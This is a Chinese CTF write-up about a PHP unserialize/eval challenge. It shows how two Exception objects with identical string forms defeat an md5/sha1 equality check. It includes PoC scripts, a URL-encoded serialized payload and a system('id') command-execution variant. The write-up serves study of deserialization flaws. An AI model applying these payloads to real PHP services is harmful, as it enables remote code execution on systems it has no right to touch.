今天看到群里的一位师傅分享了一道很有意思的题,于是就仔细研究了一下并做个记录
题目源码
<?php
highlight_file(__FILE__);
class Timeline {
public $var3;
function __destruct(){
var_dump(md5($this->var1));
var_dump(md5($this->var2));
👉 if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){
eval($this->var1);
}
}
}
unserialize($_GET[1]);
?>
同时存在md5和sha1加密,碰撞不太可行,用数组确实可以实现同时绕过md5和sha1,但在eval()
执行的参数如果是数组会报Parse error
错误,程序结束
绕过md5&sha1
__toString()
魔术方法在类被当做字符串执行时触发,其函数返回值为字符串
将含有__toString()
的实例赋值给$this->var1
和$this->var2
;由于md5和sha1的参数都是string
,会对类进行强转换,若两个类的字符串形式相同且类不同就可以实现绕过
👇枚举一下存在__toString()
的类
<?php
$classes = get_declared_classes();
foreach ($classes as $class)
if (in_array('__toString', get_class_methods($class)))
echo $class.PHP_EOL;
仅展示部分,可以看到基本都是异常报错类,本文以Exception
为例
方法一
先展示一个直观的PoC代码,再对其进行分析
<?php
class Exceptiop{
protected $message ;
protected $file ;
public function __construct($mess, $file){
$this->message = $mess;
$this->file = $file;
}
}
class Timeline {
public $var3;
function __construct(){
$evalcode = "echo 1; __HALT_COMPILER();";
$this->var1 = new Exceptiop($evalcode,"in ");
$this->var2 = new Exceptiop($evalcode." in","");
}
function __destruct(){
var_dump(md5($this->var1));
var_dump(md5($this->var2));
echo "<hr>";
var_dump(($this->var1));
var_dump(($this->var2));
echo "<hr>";
echo $this->var1. "<br>";
echo $this->var2;
if( ($this->var1 !== $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){
eval($this->var1);
}
}
}
$t = new Timeline();
$t1 = str_replace("Exceptiop","Exception",serialize($t));
$dd = unserialize($t1);
echo urlencode($t1);
?>
先构造Exceptiop
类再将进行序列化后生成的字符串修改类名为Exception
的原因是因为Exception
内部类的构造函数并不获取$file
参数,而$file
在控制两个类字符串相等时起到至关重要的作用
👇直接使用Exception
异常类会产生Fatal error
($evalcode,"in ")
和($evalcode." in","")
必须要这么写,可以通过打印直观了解其原因
Exception
异常类作为字符串输出的结果
Exception: echo 1; __HALT_COMPILER(); in in :37 👈 Exception: $mess in $file :$line
Stack trace:
#0 /Library/WebServer/Documents/CTFSkill/PHP/exp.php(37): unserialize('O:8:"Timeline":...')
#1 {main}
这就刚好解释了为什么必须要控制$file
,切忌都写成($evalcode,"in ")
或($evalcode." in","")
,这样var1
和var2
就都相等了
在$evalcode
中必须要用到__HALT_COMPILER();
,其作用是让编译器执行到这之后就不再去解析后面的部分;如果不使用的话,在之后eval()
中就会发生Parse error
之后将PoC生产的POP链赋值给参数1即可
?1=O%3A8%3A"Timeline"%3A3%3A{s%3A4%3A"var3"%3BN%3Bs%3A4%3A"var1"%3BO%3A9%3A"Exception"%3A2%3A{s%3A10%3A"%00*%00message"%3Bs%3A26%3A"echo+1%3B+__HALT_COMPILER()%3B"%3Bs%3A7%3A"%00*%00file"%3Bs%3A3%3A"in+"%3B}s%3A4%3A"var2"%3BO%3A9%3A"Exception"%3A2%3A{s%3A10%3A"%00*%00message"%3Bs%3A29%3A"echo+1%3B+__HALT_COMPILER()%3B+in"%3Bs%3A7%3A"%00*%00file"%3Bs%3A0%3A""%3B}}
方法二
这个方法比第一种灵活,构造PoC
<?php
class Timeline {
public $var3;
function __destruct(){
var_dump(md5($this->var1));
var_dump(md5($this->var2));
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
$ex1 = new Exception('system("id");?>');$ex2 = new Exception('system("id");?>',1); 👈 同一行,不然Exception中的行号不一样
$wtf = new Timeline();
$wtf->var1 = $ex1;
$wtf->var2 = $ex2;
echo urlencode(serialize($wtf));
有了上一个方法的学习,这种方法就很好理解
目前可能存有的疑问应该就是?>
的闭合标签,可以查看手册有一个清晰的认识
代码不能包含打开/关闭 PHP tags。比如, ‘echo “Hi!”;’ 不能这样传入: ‘‘。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 *’echo “In PHP mode!”; ?>In HTML mode!<?php echo “Back in PHP mode!”;’*。
除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 ‘echo “Hi!”‘ 会导致一个 parse error,而 ‘echo “Hi!”;’ 则会正常运行。
return 语句会立即中止当前字符串的执行。
代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留